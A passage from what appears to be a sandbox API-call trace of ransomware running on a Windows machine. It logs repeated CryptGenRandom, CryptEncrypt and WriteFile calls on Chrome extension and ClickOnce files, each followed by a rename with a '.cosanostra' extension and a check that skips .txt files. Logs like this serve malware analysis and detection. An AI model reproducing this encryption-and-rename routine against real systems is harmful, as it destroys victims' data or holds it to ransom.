dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf7e8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf7e8*=0x30) returned 1 [0085.806] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0085.807] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json") returned 155 [0085.807] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.807] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffff27, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.807] WriteFile (in: hFile=0x184, lpBuffer=0x301e380*, nNumberOfBytesToWrite=0xd9, lpNumberOfBytesWritten=0x2abf7ac, lpOverlapped=0x0 | out: lpBuffer=0x301e380*, lpNumberOfBytesWritten=0x2abf7ac*=0xd9, lpOverlapped=0x0) returned 1 [0085.808] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.808] WriteFile (in: hFile=0x184, lpBuffer=0x2abf7ec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf7ac, lpOverlapped=0x0 | out: lpBuffer=0x2abf7ec*, lpNumberOfBytesWritten=0x2abf7ac*=0x4, lpOverlapped=0x0) returned 1 [0085.808] WriteFile (in: hFile=0x184, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf7ac, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf7ac*=0x30, lpOverlapped=0x0) returned 1 [0085.808] CloseHandle (hObject=0x184) returned 1 [0085.808] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json.cosanostra")) returned 1 [0085.876] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf7d0 | out: pbBuffer=0x2abf7d0) returned 1 [0085.876] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf7c8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf7c8*=0x30) returned 1 [0085.876] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0085.937] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest") returned 161 [0085.937] StrStrW (lpFirst="goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest", lpSrch=".txt") returned 0x0 [0085.967] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.967] WriteFile (in: hFile=0x184, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf78c, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x2abf78c*=0x2800, lpOverlapped=0x0) returned 1 [0085.967] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.967] WriteFile (in: hFile=0x184, lpBuffer=0x2abf7cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf78c, lpOverlapped=0x0 | out: lpBuffer=0x2abf7cc*, lpNumberOfBytesWritten=0x2abf78c*=0x4, lpOverlapped=0x0) returned 1 [0085.967] WriteFile (in: hFile=0x184, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf78c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf78c*=0x30, lpOverlapped=0x0) returned 1 [0085.968] CloseHandle (hObject=0x184) returned 1 [0085.968] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest.cosanostra")) returned 1 [0085.969] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf7c8 | out: pbBuffer=0x2abf7c8) returned 1 [0085.969] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf7c0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf7c0*=0x30) returned 1 [0085.969] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0085.990] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json") returned 155 [0085.990] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.990] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffffee6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.990] WriteFile (in: hFile=0x184, lpBuffer=0x22af50*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2abf784, lpOverlapped=0x0 | out: lpBuffer=0x22af50*, lpNumberOfBytesWritten=0x2abf784*=0x11a, lpOverlapped=0x0) returned 1 [0085.991] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.991] WriteFile (in: hFile=0x184, lpBuffer=0x2abf7c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf784, lpOverlapped=0x0 | out: lpBuffer=0x2abf7c4*, lpNumberOfBytesWritten=0x2abf784*=0x4, lpOverlapped=0x0) returned 1 [0085.991] WriteFile (in: hFile=0x184, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf784, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf784*=0x30, lpOverlapped=0x0) returned 1 [0085.991] CloseHandle (hObject=0x184) returned 1 [0085.991] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json.cosanostra")) returned 1 [0085.991] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf7c8 | out: pbBuffer=0x2abf7c8) returned 1 [0085.991] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf7c0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf7c0*=0x30) returned 1 [0085.992] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0085.992] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms") returned 159 [0085.992] StrStrW (lpFirst="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms", lpSrch=".txt") returned 0x0 [0086.001] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.001] WriteFile (in: hFile=0x184, lpBuffer=0x22af50*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf784, lpOverlapped=0x0 | out: lpBuffer=0x22af50*, lpNumberOfBytesWritten=0x2abf784*=0x2800, lpOverlapped=0x0) returned 1 [0086.001] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.001] WriteFile (in: hFile=0x184, lpBuffer=0x2abf7c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf784, lpOverlapped=0x0 | out: lpBuffer=0x2abf7c4*, lpNumberOfBytesWritten=0x2abf784*=0x4, lpOverlapped=0x0) returned 1 [0086.001] WriteFile (in: hFile=0x184, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf784, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf784*=0x30, lpOverlapped=0x0) returned 1 [0086.001] CloseHandle (hObject=0x184) returned 1 [0086.002] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms.cosanostra")) returned 1 [0086.003] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf7c0 | out: pbBuffer=0x2abf7c0) returned 1 [0086.003] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf7b8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf7b8*=0x30) returned 1 [0086.003] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0086.003] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms") returned 173 [0086.003] StrStrW (lpFirst="clickonce_bootstrap_unsigned.cdf-ms", lpSrch=".txt") returned 0x0 [0086.005] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffff120, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.005] WriteFile (in: hFile=0x184, lpBuffer=0x22af50*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x2abf77c, lpOverlapped=0x0 | out: lpBuffer=0x22af50*, lpNumberOfBytesWritten=0x2abf77c*=0xee0, lpOverlapped=0x0) returned 1 [0086.010] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.010] WriteFile (in: hFile=0x184, lpBuffer=0x2abf7bc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf77c, lpOverlapped=0x0 | out: lpBuffer=0x2abf7bc*, lpNumberOfBytesWritten=0x2abf77c*=0x4, lpOverlapped=0x0) returned 1 [0086.010] WriteFile (in: hFile=0x184, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf77c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf77c*=0x30, lpOverlapped=0x0) returned 1 [0086.010] CloseHandle (hObject=0x184) returned 1 [0086.010] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms.cosanostra")) returned 1 [0086.011] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf7c0 | out: pbBuffer=0x2abf7c0) returned 1 [0086.011] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf7b8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf7b8*=0x30) returned 1 [0086.011] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0086.011] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest") returned 170 [0086.011] StrStrW (lpFirst="clickonce_bootstrap.exe.manifest", lpSrch=".txt") returned 0x0 [0086.012] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.012] WriteFile (in: hFile=0x184, lpBuffer=0x22af50*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf77c, lpOverlapped=0x0 | out: lpBuffer=0x22af50*, lpNumberOfBytesWritten=0x2abf77c*=0x2800, lpOverlapped=0x0) returned 1 [0086.012] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.012] WriteFile (in: hFile=0x184, lpBuffer=0x2abf7bc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf77c, lpOverlapped=0x0 | out: lpBuffer=0x2abf7bc*, lpNumberOfBytesWritten=0x2abf77c*=0x4, lpOverlapped=0x0) returned 1 [0086.012] WriteFile (in: hFile=0x184, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf77c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf77c*=0x30, lpOverlapped=0x0) returned 1 [0086.012] CloseHandle (hObject=0x184) returned 1 [0086.012] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest.cosanostra")) returned 1 [0086.013] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf7b8 | out: pbBuffer=0x2abf7b8) returned 1 [0086.013] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf7b0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf7b0*=0x30) returned 1 [0086.013] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0086.013] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms") returned 168 [0086.013] StrStrW (lpFirst="clickonce_bootstrap.exe.cdf-ms", lpSrch=".txt") returned 0x0 [0086.013] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.013] WriteFile (in: hFile=0x184, lpBuffer=0x22af50*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf774, lpOverlapped=0x0 | out: lpBuffer=0x22af50*, lpNumberOfBytesWritten=0x2abf774*=0x2800, lpOverlapped=0x0) returned 1 [0086.013] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.014] WriteFile (in: hFile=0x184, lpBuffer=0x2abf7b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf774, lpOverlapped=0x0 | out: lpBuffer=0x2abf7b4*, lpNumberOfBytesWritten=0x2abf774*=0x4, lpOverlapped=0x0) returned 1 [0086.014] WriteFile (in: hFile=0x184, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf774, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf774*=0x30, lpOverlapped=0x0) returned 1 [0086.014] CloseHandle (hObject=0x184) returned 1 [0086.014] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms.cosanostra")) returned 1 [0086.014] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf7b8 | out: pbBuffer=0x2abf7b8) returned 1 [0086.014] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf7b0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf7b0*=0x30) returned 1 [0086.014] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0086.015] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe") returned 161 [0086.015] StrStrW (lpFirst="clickonce_bootstrap.exe", lpSrch=".txt") returned 0x0 [0086.043] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.043] WriteFile (in: hFile=0x184, lpBuffer=0x22af50*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf774, lpOverlapped=0x0 | out: lpBuffer=0x22af50*, lpNumberOfBytesWritten=0x2abf774*=0x2800, lpOverlapped=0x0) returned 1 [0086.043] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.043] WriteFile (in: hFile=0x184, lpBuffer=0x2abf7b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf774, lpOverlapped=0x0 | out: lpBuffer=0x2abf7b4*, lpNumberOfBytesWritten=0x2abf774*=0x4, 